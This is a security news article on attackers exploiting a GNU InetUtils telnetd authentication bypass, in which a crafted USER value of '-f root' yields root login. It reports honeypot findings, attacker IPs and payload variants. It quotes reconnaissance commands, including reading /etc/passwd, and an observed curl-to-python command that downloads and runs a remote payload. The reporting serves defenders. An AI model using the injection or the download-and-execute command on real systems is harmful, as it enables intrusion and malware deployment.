Attackers Leveraging telnetd Exploit for Root Privileges After PoC Goes Public

The threat actors have begun actively exploiting a critical authentication bypass vulnerability in GNU InetUtils telnetd immediately after proof-of-concept code became publicly available.

The flaw allows remote attackers to gain root access without authentication, triggering widespread exploitation attempts across internet-exposed systems.

The security flaw affects GNU InetUtils telnetd versions 1.9.3 through 2.7, with the vulnerable code introduced in March 2015.

The telnetd server fails to properly sanitize the USER environment variable before passing it to the /usr/bin/login binary, which runs with root privileges.

When a malicious client crafts a USER environment variable containing the string “-f root” and uses the telnet -a or --login parameter, the telnetd server automatically logs the attacker in as root without requiring any authentication.

This occurs because the login binary interprets the -f flag as a command to bypass normal authentication processes.

Technical Exploitation Method

The vulnerability exploits how telnetd constructs the login command template. In the telnetd/telnetd.c file, the login invocation uses the pattern: PATH_LOGIN " -p -h %h %?u{-f %u}{%U}".

The %U variable expands to the value of the USER environment variable received from the client without any sanitization.

Attackers exploit this by sending Telnet IAC (Interpret As Command) negotiation packets that embed the malicious USER variable during the initial connection handshake.

A typical exploit payload includes terminal speed configuration (such as 9600 or 38400 baud), a terminal type declaration (XTERM-256COLOR or similar), and the critical USER.-f root parameter.

The vulnerability was discovered and reported by researcher Kyu Neushwaistein (Carlos Cortes Alvarez) on January 19, 2026.

Security researcher Simon Josefsson published the official advisory on January 20, 2026, noting that while a CVE identifier had not yet been assigned, patches were immediately made available.

Within hours of the proof-of-concept publication, security monitoring platforms detected widespread exploitation attempts.

GreyNoise Labs deployed vulnerable honeypot sensors and observed 18 unique attacker IP addresses conducting 60 exploitation attempts over an 18-hour period beginning January 21, 2026.

The first exploitation activity originated from IP address 38.145.220.204 at 07:19:15 UTC on January 21, with the most recent attempt recorded from 178.16.53.82 at 04:08:41 UTC on January 22.

The most prolific attacker (178.16.53.82) launched 12 separate sessions targeting 10 unique systems.

Network traffic analysis revealed that all 1,525 captured packets related to this campaign were Telnet protocol communications on TCP port 23, representing 100% malicious traffic.

Intrusion detection systems triggered alerts for “GPL ATTACK_RESPONSE id check returned root,” confirming that some attackers successfully gained root-level access.

Attacker Tactics and Payloads

Security researchers identified multiple distinct payload variants, indicating attackers are using diverse exploitation toolkits:

Terminal Speed Configurations:

• 9600,9600 baud (2 attacker sources)
• 38400,38400 baud (7 attacker sources)
• 0,0 baud/no negotiation (3 attacker sources)
• Unspecified (7 sources with minimal payloads)

Terminal Type Declarations:

• XTERM-256COLOR (5 sources, uppercase variant)
• xterm-256color (3 sources, lowercase variant)
• screen-256color (1 source using GNU Screen multiplexer)
• UNKNOWN (4 sources with generic terminal types)

The vast majority of attackers (83.3%) targeted root accounts directly, though some attempted exploitation using low-privilege accounts including “nobody,” “daemon,” and even a fictitious “nonexistent123” account, suggesting attempts to evade detection systems monitoring for root login attempts.

Some attackers inadvertently revealed infrastructure details through X11 DISPLAY variables, including hostnames like “kali.kali:0.0,” “MiniBear:0,” and “shared-vm2.localdomain:0,” indicating use of Kali Linux penetration testing distributions and shared VPS environments.

Once inside compromised systems, attackers executed automated reconnaissance commands to fingerprint targets:

textuname -a
id
cat /proc/cpuinfo
cat /etc/passwd

Some attackers wrapped command output in parsing delimiters like “S,” “U/EU,” and “blah” markers, indicating automated collection by command-and-control infrastructure for inventory management or vulnerability correlation.

Malware Deployment:

The same attacker attempted to download and execute a second-stage Python payload using the command:

textnohup curl -fsSL http://67.220.95.16:8000/apps.py | python - [target_IP] > /dev/null &

This payload delivery mechanism uses nohup for background execution that survives shell termination, silently downloads code via curl, executes it through Python’s stdin, and suppresses output.

The malware distribution server at 67.220.95.16:8000 was observed serving apps.py, likely a botnet client or cryptomining malware.

Notably, IP address 67.220.95.16 served dual purposes as both an exploitation source and malware distribution server.

These malware deployment attempts largely failed on hardened honeypot systems lacking curl or Python installations, but would succeed on standard Linux servers with default tooling.

Security teams should immediately audit their networks for exposed telnet services and review authentication logs for suspicious root login attempts, particularly those originating from the 18 attacker IP addresses identified in the exploitation campaign.

Organizations should treat any successful exploitation as a complete system compromise requiring incident response procedures including forensic analysis, credential rotation, and system rebuilding.

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.